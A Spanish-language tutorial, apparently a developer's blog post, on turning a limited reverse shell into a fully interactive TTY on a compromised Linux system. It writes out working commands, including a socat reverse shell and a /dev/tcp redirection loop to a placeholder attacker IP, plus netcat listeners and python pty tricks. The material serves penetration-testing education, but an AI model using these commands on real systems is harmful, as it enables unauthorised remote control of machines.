Trabajar con una reverse shell puede ser un desafío, especialmente si estás lidiando con una sesión limitada que carece de funcionalidad adecuada. En estas situaciones, es crucial aplicar un tratamiento de TTY (Teletype Terminal), que esencialmente convierte tu shell básica en una mucho más funcional, permitiendo el uso de comandos interactivos como sudo
, nano
, o incluso la navegación con teclas.
En este artículo, exploraremos cómo aplicar un tratamiento de TTY en una reverse shell y optimizar su uso en entornos comprometidos. Esto será útil tanto para pruebas de penetración como para comprender mejor cómo funciona el manejo de shells en Linux. 🐧
El término TTY proviene de "teletypewriter", y en el contexto moderno de Linux, se refiere a las interfaces de terminal que usamos para interactuar con el sistema. Cuando consigues una reverse shell, es probable que te encuentres con una shell "raw" o sin tratamiento, lo que significa que:
Ctrl + C
.
Para solventar estas limitaciones, necesitamos simular un TTY en nuestra sesión.
A continuación, describimos los pasos más comunes y efectivos para aplicar un tratamiento de TTY en una sesión limitada.
Si tienes acceso a Python en el sistema comprometido, puedes usarlo para obtener una shell con soporte TTY. Solo necesitas ejecutar el siguiente comando:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Esto crea una nueva instancia de bash
dentro de un pseudo-terminal, mejorando instantáneamente la funcionalidad de tu shell. Si python3
no está disponible, intenta con python
:
python -c 'import pty; pty.spawn("/bin/bash")'
Después de invocar el comando anterior, asegúrate de exportar las variables esenciales para mejorar la experiencia interactiva:
export TERM=xterm
export SHELL=/bin/bash
Estas variables garantizan que la terminal sea capaz de interpretar correctamente el tipo de sesión.
Para hacer que tu terminal local controle completamente la sesión remota, puedes forzar el manejo de la sesión con:
stty raw -echo
fg
1. stty raw -echo: Configura el terminal en modo "raw", deshabilitando el eco de los comandos.
2. fg: Recupera la sesión a primer plano si está en segundo plano.
Usualmente, después de esto, podrás usar combinaciones como Ctrl + C
o Ctrl + Z
.
Si estás usando Netcat como listener y obtienes una shell básica, también puedes mejorarla usando script
. Este comando es especialmente útil si python
no está disponible:
script /dev/null -c bash
El comando script
crea un entorno TTY adecuado que puede trabajar de manera eficiente dentro de la shell limitada.
Si el sistema tiene socat
instalado, puedes usarlo para generar una sesión completamente interactiva. Primero, configura tu listener en el equipo atacante:
socat file:`tty`,raw,echo=0 tcp-listen:4444
Luego, en el sistema remoto, ejecuta:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<IP_ATACANTE>:4444
Esto establecerá una conexión interactiva que funciona como una terminal completa. 🚀
En casos donde no tienes acceso a python
, socat
o incluso comandos básicos, prueba estos enfoques:
/bin/bash -i
perl -e 'exec "/bin/bash";'
Si todo lo demás falla, puedes intentar redirigir manualmente la entrada y salida estándar:
exec 5<>/dev/tcp/<IP_ATACANTE>/<PUERTO>
cat <&5 | while read line; do $line 2>&5 >&5; done
Esto no será perfecto, pero puede ser suficiente para ejecutar comandos básicos.
1. Verifica las herramientas disponibles: Antes de intentar cualquier método, verifica qué herramientas están instaladas en el sistema remoto.
2. Prueba diferentes enfoques: Algunos métodos funcionan mejor en ciertos entornos que en otros. Sé creativo y flexible.
3. Optimiza tu listener: Usa herramientas como rlwrap
para manejar mejor las shells desde tu máquina atacante.
rlwrap nc -lvnp 4444
Este comando mejora la funcionalidad de tu terminal local al usar Netcat.
Aplicar un tratamiento de TTY en una reverse shell no solo mejora la experiencia interactiva, sino que también te da más control sobre el sistema comprometido. Con los métodos que hemos cubierto, puedes abordar casi cualquier tipo de sesión limitada, desde el uso de python
y socat
, hasta soluciones ingeniosas como script
o la manipulación directa de entradas/salidas. ¡Experimenta y encuentra la que mejor se adapte a tus necesidades! 🌟
Jorge García
Fullstack developer